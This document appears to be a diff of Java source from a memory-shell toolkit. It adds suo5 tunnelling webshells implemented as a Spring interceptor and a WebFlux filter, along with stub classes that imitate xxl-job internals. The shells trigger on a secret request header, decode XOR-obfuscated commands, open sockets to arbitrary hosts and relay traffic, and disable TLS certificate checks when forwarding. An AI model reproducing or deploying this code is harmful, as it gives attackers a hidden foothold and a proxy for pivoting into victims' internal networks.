import org.springframework.web.servlet.ModelAndView;
import javax.net.ssl.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5Interceptor implements AsyncHandlerInterceptor, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5Interceptor() {
}
public Suo5Interceptor(InputStream gInStream, OutputStream gOutStream) {
this.gInStream = gInStream;
this.gOutStream = gOutStream;
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
String contentType = request.getContentType();
if (contentType == null) {
return true;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return false;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
return false;
}
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Interceptor p = new Suo5Interceptor(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -0,0 +1,448 @@
package com.reajason.javaweb.memshell.shelltool.suo5;
import io.netty.channel.ChannelOption;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DataBufferUtils;
import org.springframework.http.MediaType;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.http.server.reactive.ServerHttpResponse;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import reactor.core.publisher.Sinks;
import reactor.core.scheduler.Schedulers;
import reactor.netty.Connection;
import reactor.netty.NettyOutbound;
import reactor.netty.tcp.TcpClient;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.nio.BufferOverflowException;
import java.nio.ByteBuffer;
import java.util.HashMap;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicReference;
/**
* @author ReaJason
*/
public class Suo5WebFilter implements WebFilter {
public static HashMap ctx = new HashMap();
public static String headerName;
public static String headerValue;
public Suo5WebFilter() {
}
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
ServerHttpRequest request = exchange.getRequest();
ServerHttpResponse response = exchange.getResponse();
String value = exchange.getRequest().getHeaders().getFirst(headerName);
if (value == null || !value.contains(headerValue)) {
return chain.filter(exchange);
}
MediaType contentType = request.getHeaders().getContentType();
if (contentType == null) {
return chain.filter(exchange);
}
if (contentType.toString().equals("application/plain")) {
return request.getBody().flatMap(databuffer -> response.writeWith(Mono.just(databuffer))).then();
}
try {
if (contentType.toString().equals("application/octet-stream")) {
return newfullProxy(request, response);
} else {
return newHalfProxy(request, response);
}
} catch (Exception ignored) {
}
return Mono.empty();
}
private Mono<Void> newfullProxy(ServerHttpRequest request, ServerHttpResponse response) throws Exception {
response.getHeaders().set("X-Accel-Buffering", "no");
response.getHeaders().setContentType(MediaType.APPLICATION_OCTET_STREAM);
Sinks.Many<byte[]> sink = Sinks.many().unicast().onBackpressureBuffer();
Flux<HashMap<String, byte[]>> dataMaps = unmarshal(request.getBody());
AtomicBoolean handshake = new AtomicBoolean(false);
AtomicReference<Connection> connection = new AtomicReference<>(null);
AtomicReference<NettyOutbound> out = new AtomicReference<>(null);
dataMaps.doOnComplete(sink::tryEmitComplete)
.mapNotNull(dataMap -> {
if (!handshake.get()) {
byte[] ac = dataMap.get("ac");
if (ac.length != 1 || ac[0] != 0x00) {
sink.tryEmitComplete();
return null;
}
handshake.set(true);
String host = new String(dataMap.get("h"));
int port = Integer.parseInt(new String(dataMap.get("p")));
if (port == 0) {
InetSocketAddress addr = request.getLocalAddress();
if (addr != null) {
host = addr.getHostString();
port = addr.getPort();
}
}
try {
TcpClient client = TcpClient.create()
.host(host).port(port)
.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 3000)
.doOnConnected(c -> {
connection.set(c);
out.set(c.outbound());
sink.tryEmitNext(marshal(newStatus((byte) 0x00)));
}).doOnDisconnected(s -> {
sink.tryEmitComplete();
}).handle((input, output) -> input.receive()
.asByteArray()
.flatMap(s -> {
sink.tryEmitNext(marshal(newData(s)));
return Mono.empty();
}));
client.connect().subscribe(null, (e) -> {
sink.tryEmitNext(marshal(newStatus((byte) 0x01)));
sink.tryEmitComplete();
});
} catch (Exception e) {
if (connection.get() != null && !connection.get().isDisposed()) {
connection.get().dispose();
}
sink.tryEmitNext(marshal(newStatus((byte) 0x01)));
sink.tryEmitComplete();
}
} else {
byte[] action = dataMap.get("ac");
try {
if (action == null || action.length != 1 || action[0] == 0x02) {
throw new RuntimeException("remove");
} else if (action[0] == 0x01) {
byte[] data = dataMap.get("dt");
if (data.length != 0) {
out.get().sendByteArray(Mono.just(data)).then().subscribe();
}
}
} catch (Exception e) {
if (connection.get() != null && !connection.get().isDisposed()) {
connection.get().dispose();
}
sink.tryEmitComplete();
}
}
return null;
}).subscribeOn(Schedulers.boundedElastic()).subscribe();
return response.writeWith(sink.asFlux().map(response.bufferFactory()::wrap)).then();
}
private Mono<Void> newHalfProxy(ServerHttpRequest request, ServerHttpResponse response) throws Exception {
/*
EmitterProcessor<byte[]> processor = EmitterProcessor.create();
FluxSink<byte[]> sink = processor.serialize().sink();
*/
response.getHeaders().set("X-Accel-Buffering", "no");
response.getHeaders().setContentType(MediaType.APPLICATION_OCTET_STREAM);
Sinks.Many<byte[]> sink = Sinks.many().unicast().onBackpressureBuffer();
Flux<HashMap<String, byte[]>> dataMaps = unmarshal(request.getBody());
dataMaps.next()
.subscribeOn(Schedulers.boundedElastic())
.subscribe((dataMap -> {
if (dataMap == null) {
sink.tryEmitComplete();
return;
}
String clientId = new String(dataMap.get("id"));
byte[] actionData = dataMap.get("ac");
if (actionData.length != 1) {
sink.tryEmitComplete();
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actionData[0];
if (action == 0x02) {
Object[] obj = (Object[]) this.remove(clientId);
if (obj != null) {
Connection conn = (Connection) obj[0];
conn.dispose();
}
sink.tryEmitComplete();
return;
} else if (action == 0x01) {
Object[] obj = (Object[]) this.get(clientId);
if (obj == null) {
sink.tryEmitNext(marshal(newDel()));
} else {
byte[] data = dataMap.get("dt");
if (data.length != 0) {
((NettyOutbound) obj[1]).sendByteArray(Mono.just(data))
.then()
.subscribeOn(Schedulers.boundedElastic())
.subscribe();
}
}
sink.tryEmitComplete();
return;
} else if (action != 0x00) {
sink.tryEmitComplete();
return;
}
// 0x00 create new tunnel
String host = new String(dataMap.get("h"));
int port = Integer.parseInt(new String(dataMap.get("p")));
if (port == 0) {
InetSocketAddress addr = request.getLocalAddress();
if (addr != null) {
host = addr.getHostString();
port = addr.getPort();
}
}
try {
TcpClient client = TcpClient.create()
.host(host).port(port)
.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 3000)
.doOnConnected(c -> {
this.put(clientId, new Object[]{c, c.outbound()});
sink.tryEmitNext(marshal(newStatus((byte) 0x00)));
}).doOnDisconnected(s -> {
this.remove(clientId);
sink.tryEmitComplete();
});
client.connect()
.subscribeOn(Schedulers.boundedElastic())
.subscribe(conn -> {
conn.inbound()
.receive()
.asByteArray()
.flatMap(s -> {
sink.tryEmitNext(marshal(newData(s)));
return Mono.empty();
}).then().subscribe();
}, (err) -> {
sink.tryEmitNext(marshal(newStatus((byte) 0x01)));
sink.tryEmitComplete();
});
} catch (Exception e) {
}
}));
return response.writeWith(sink.asFlux().map(response.bufferFactory()::wrap)).then();
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) | ((bytes[1] & 0xFF) << 16) | ((bytes[2] & 0xFF) << 8) | ((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) {
try {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
private Flux<HashMap<String, byte[]>> unmarshal(Flux<DataBuffer> inFlux) {
final ByteBuffer[] buffers = {ByteBuffer.allocate(2048)};
return Flux.create(sink -> {
// onErrorComplete is too new to use
inFlux.doOnComplete(sink::complete)
.subscribeOn(Schedulers.boundedElastic())
.subscribe(dataBuffer -> {
try {
ByteBuffer buffer = buffers[0];
ByteBuffer byteBuffer = dataBuffer.asByteBuffer().asReadOnlyBuffer();
while (byteBuffer.hasRemaining()) {
byte b = byteBuffer.get();
try {
buffer.put(b);
} catch (BufferOverflowException e) {
ByteBuffer newBuffer = ByteBuffer.allocate(buffer.capacity() * 2);
buffer.flip();
newBuffer.put(buffer);
buffer = newBuffer;
buffers[0] = newBuffer;
buffer.put(b);
}
buffer.flip();
if (isCompleteMessage(buffer)) {
HashMap<String, byte[]> result = processCompleteMessage(buffer);
sink.next(result);
buffer.compact();
} else {
buffer.position(buffer.limit());
buffer.limit(buffer.capacity());
}
}
} catch (Exception e) {
sink.complete();
} finally {
DataBufferUtils.release(dataBuffer);
}
}, (e) -> {
sink.complete();
});
});
}
private boolean isCompleteMessage(ByteBuffer buffer) {
if (buffer.remaining() < 5) {
return false; // 不足以读取消息头
}
int len = buffer.getInt(buffer.position()); // 读取长度但不移动position
return buffer.remaining() >= 5 + len; // 检查是否有足够的数据
}
private static int MAX_LEN = 1024 * 1024 * 32;
private HashMap<String, byte[]> processCompleteMessage(ByteBuffer buffer) throws Exception {
int len = buffer.getInt();
int x = buffer.get();
if (len > MAX_LEN) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
buffer.get(bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap<String, byte[]> m = new HashMap<>();
int i = 0;
while (i < bs.length - 1) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
byte[] keyBytes = copyOfRange(bs, i, i + kLen);
String key = new String(keyBytes);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
byte[] vLenBytes = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(vLenBytes);
i += 4;
if (vLen < 0 || i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
public static Object getFieldValue(Object obj, String fieldName, boolean superClass) throws Exception {
Field f;
if (superClass) {
f = obj.getClass().getSuperclass().getDeclaredField(fieldName);
} else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
return f.get(obj);
}
}
@@ -0,0 +1,8 @@
package com.xxl.job.core.biz;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class ExecutorBiz {
}
@@ -0,0 +1,10 @@
package com.xxl.job.core.biz.impl;
import com.xxl.job.core.biz.ExecutorBiz;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class ExecutorBizImpl extends ExecutorBiz {
}
@@ -0,0 +1,35 @@
package com.xxl.job.core.server;
import com.xxl.job.core.biz.ExecutorBiz;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelHandlerContext;
import java.util.concurrent.ThreadPoolExecutor;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class EmbedServer {
public static class EmbedHttpServerHandler implements ChannelHandler {
public EmbedHttpServerHandler(ExecutorBiz executorBiz, String prefix, ThreadPoolExecutor executor) {
}
@Override
public void handlerAdded(ChannelHandlerContext ctx) throws Exception {
}
@Override
public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {
}
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
}
}
}